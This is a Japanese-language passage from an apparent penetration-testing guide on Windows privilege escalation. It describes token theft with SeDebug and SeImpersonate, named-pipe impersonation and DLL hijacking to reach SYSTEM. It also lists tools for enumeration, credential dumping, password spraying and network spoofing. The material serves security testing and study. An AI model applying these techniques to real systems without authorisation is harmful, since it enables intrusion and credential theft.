SeDebug + SeImpersonateからフルトークン特権へ

これらのトークン特権を持っている場合(おそらくすでに高い整合性のプロセスで見つけるでしょう)、ほぼすべてのプロセス保護されたプロセスではないをSeDebug特権で開くことができ、プロセスのトークンをコピーし、そのトークンを使用して任意のプロセスを作成することができます。
この技術を使用する際は、通常、すべてのトークン特権を持つSYSTEMとして実行されている任意のプロセスを選択しますはい、すべてのトークン特権を持たないSYSTEMプロセスを見つけることができます)。
提案された技術を実行するコードの 例はこちらにあります

名前付きパイプ

この技術は、meterpreterがgetsystemで昇格するために使用されます。この技術は、パイプを作成し、そのパイプに書き込むサービスを作成/悪用することから成ります。次に、SeImpersonate特権を使用してパイプを作成したサーバーは、パイプクライアント(サービス)のトークンを偽装し、SYSTEM特権を取得することができます。
名前付きパイプについてもっと学びたい場合はこれを読むべきです
高い整合性からSYSTEMに名前付きパイプを使用して移行する方法の例を読みたい場合はこれを読むべきです

Dllハイジャック

SYSTEMとして実行されているプロセスによってロードされるdllをハイジャックすることができれば、その権限で任意のコードを実行することができます。したがって、Dllハイジャックはこの種の特権昇格にも役立ち、さらに、高い整合性のプロセスからははるかに簡単に達成できます。それは、dllをロードするために使用されるフォルダーに書き込み権限を持っているからです。
Dllハイジャックについて こちらで詳しく学べます

AdministratorまたはNetwork ServiceからSystemへ

LOCAL SERVICEまたはNETWORK SERVICEからフル特権へ

読む: https://github.com/itm4n/FullPowers

さらなるヘルプ

静的インパケットバイナリ

有用なツール

Windowsローカル特権昇格ベクトルを探すための最良のツール: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- 設定ミスや機密ファイルをチェックします (こちらを確認)。検出されました。
JAWS -- 一部の設定ミスをチェックし、情報を収集します (こちらを確認)。
privesc -- 設定ミスをチェックします
SessionGopher -- PuTTY、WinSCP、SuperPuTTY、FileZilla、RDPの保存されたセッション情報を抽出します。ローカルで-Thoroughを使用します。
Invoke-WCMDump -- 資格情報マネージャーから資格情報を抽出します。検出されました。
DomainPasswordSpray -- 収集したパスワードをドメインにスプレーします
Inveigh -- InveighはPowerShellのADIDNS/LLMNR/mDNS/NBNSスプーファーおよび中間者ツールです。
WindowsEnum -- 基本的な特権昇格Windows列挙
Sherlock ~~~~ -- 既知の特権昇格脆弱性を検索しますWatsonのために非推奨
WINspect -- ローカルチェック (管理者権限が必要)

Exe

Watson -- 既知の特権昇格脆弱性を検索しますVisualStudioを使用してコンパイルする必要があります (事前コンパイル済み)
SeatBelt -- 設定ミスを探してホストを列挙します(特権昇格よりも情報収集ツールです)(コンパイルが必要) (事前コンパイル済み)
LaZagne -- 多くのソフトウェアから資格情報を抽出しますGitHubに事前コンパイル済みexeあり
SharpUP -- PowerUpのC#へのポート
Beroot ~~~~ -- 設定ミスをチェックしますGitHubに事前コンパイル済みの実行可能ファイル。推奨されません。Win10ではうまく動作しません。
Windows-Privesc-Check -- 可能な設定ミスをチェックしますPythonからのexe。推奨されません。Win10ではうまく動作しません。

Bat

winPEASbat -- この投稿に基づいて作成されたツール正しく動作するためにaccesschkは必要ありませんが、使用することができます

ローカル

Windows-Exploit-Suggester -- systeminfoの出力を読み取り、動作するエクスプロイトを推奨しますローカルPython
Windows Exploit Suggester Next Generation -- systeminfoの出力を読み取り、動作するエクスプロイトを推奨しますローカルPython

Meterpreter

multi/recon/local_exploit_suggestor

プロジェクトを正しいバージョンの.NETを使用してコンパイルする必要がありますこれを参照)。被害者ホストにインストールされている.NETのバージョンを確認するには、次のようにします:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

参考文献

{{#include ../../banners/hacktricks-training.md}}